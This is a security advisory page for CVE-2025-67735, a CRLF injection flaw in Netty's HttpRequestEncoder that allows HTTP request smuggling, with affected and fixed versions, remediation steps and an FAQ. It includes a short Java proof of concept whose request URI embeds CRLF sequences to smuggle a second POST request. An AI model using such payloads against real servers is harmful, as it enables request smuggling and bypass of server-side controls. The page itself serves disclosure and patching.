CVE-2025-67735: Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Published Dec 15, 2025
·
Updated

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

java public static void main(String[] args) {

EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec());

EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } });

DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP11, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } }

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.

Other sources

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.129.Final and 4.2.8.Final, the io.netty.handler.codec.http.HttpRequestEncoder has a CRLF injection with the request URI when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the URI. Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection. Versions 4.1.129.Final and 4.2.8.Final fix the issue.

MITRE

Affected Software

7 affected componentsFixes available
maven/io.netty:netty-codec-http<4.1.129.Final
4.1.129.Final
maven/io.netty:netty-codec-http>=4.2.0.Alpha1<4.2.8.Final
4.2.8.Final
Netty Netty<4.1.129
Netty Netty>=4.2.0<4.2.8
IBM Cloud APM, Base Private<=8.1.4
IBM Cloud APM, Advanced Private<=8.1.4
debian/netty<=1:4.1.48-4+deb11u2
1:4.1.48-4+deb11u31:4.1.48-7+deb12u21:4.1.48-10+deb13u11:4.1.48-16

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/io.netty:netty-codec-http to a version that resolves this vulnerability.

    Fixed in 4.1.129.Final
  2. Upgrade

    Upgrade maven/io.netty:netty-codec-http to a version that resolves this vulnerability.

    Fixed in 4.2.8.Final
  3. Upgrade

    Upgrade debian/netty to a version that resolves this vulnerability.

    Fixed in 1:4.1.48-4+deb11u3Fixed in 1:4.1.48-7+deb12u2Fixed in 1:4.1.48-10+deb13u1Fixed in 1:4.1.48-16
  4. Upgrade

    Upgrade io.netty.handler.codec.http.HttpRequestEncoder to a version that resolves this vulnerability.

    Fixed in 4.1.129.Final
  5. Upgrade

    Upgrade io.netty.handler.codec.http.HttpRequestEncoder to a version that resolves this vulnerability.

    Fixed in 4.2.8.Final

Event History

Dec 15, 2025
Advisory Published
via GitHub·11:28 PM
Data Sourced
via GitHub·11:28 PM
DescriptionSeverityWeaknessAffected Software
Dec 16, 2025
CVE Published
via MITRE·12:19 AM
Data Sourced
via MITRE·12:19 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:15 AM
DescriptionSeverityWeaknessAffected Software
May 21, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
Aug 20, 2026
Data Sourced
via Ubuntu·05:29 PM
RemedyDescriptionSeverityAffected Software
Data Sourced
via Launchpad·05:30 PM
Description
Data Sourced
via Debian·05:30 PM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2025-67735?

CVE-2025-67735 is considered a high severity vulnerability due to the potential for request smuggling.

2

How do I fix CVE-2025-67735?

To fix CVE-2025-67735, upgrade the affected 'io.netty:netty-codec-http' package to version 4.1.129.Final or 4.2.8.Final.

3

What causes CVE-2025-67735?

CVE-2025-67735 is caused by CRLF injection in the request URI when using the HttpRequestEncoder without proper sanitization.

4

Which software versions are affected by CVE-2025-67735?

CVE-2025-67735 affects 'io.netty:netty-codec-http' versions prior to 4.1.129.Final and between 4.2.0.Alpha1 and 4.2.8.Final.

5

What types of attacks can CVE-2025-67735 lead to?

CVE-2025-67735 can lead to request smuggling attacks, compromising the integrity of HTTP transactions.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203